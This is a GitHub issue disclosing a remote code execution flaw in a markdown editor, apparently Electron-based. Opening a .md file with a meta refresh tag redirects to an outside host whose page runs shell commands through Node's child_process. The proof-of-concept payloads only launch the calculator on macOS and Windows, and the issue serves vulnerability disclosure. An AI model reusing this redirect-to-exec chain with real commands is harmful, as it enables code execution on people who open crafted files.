Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

RCE Vulnerabilities via meta redirect #168

Open
AliceLacie opened this issue Nov 14, 2022 · 0 comments
Open

RCE Vulnerabilities via meta redirect #168

AliceLacie opened this issue Nov 14, 2022 · 0 comments

Comments

@AliceLacie
Copy link

Author: bob11.devranger@gmail.com
OS: macOS 
Version: 7.1.5

Summary

It has been possible to trigger Remote Code Execution via meta redirect

Description

When you open the .md file containing the mata tag, the meta tag is applied and the location can be moved to the hacker server via meta redirect.

[macOS]
file content

<meta http-equiv="refresh" content="0; url=https://ursobad.xyz/xss/a.html"></meta>
<!-- a.html-->
<script>
	require('child_process').exec('open -a /System/Applications/Calculator.app')
</script>

image

[Windows]
file content

<meta http-equiv="refresh" content="0; url=https://ursobad.xyz/xss/b.html"></meta>
<!-- b.html-->
<script>
	require('child_process').exec('calc')
</script>

image

PoC

https://drive.google.com/file/d/1pEjEgBIuv2-cWw9is5bG8BeqC5ngfsnA/view?usp=sharing

What’s More?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant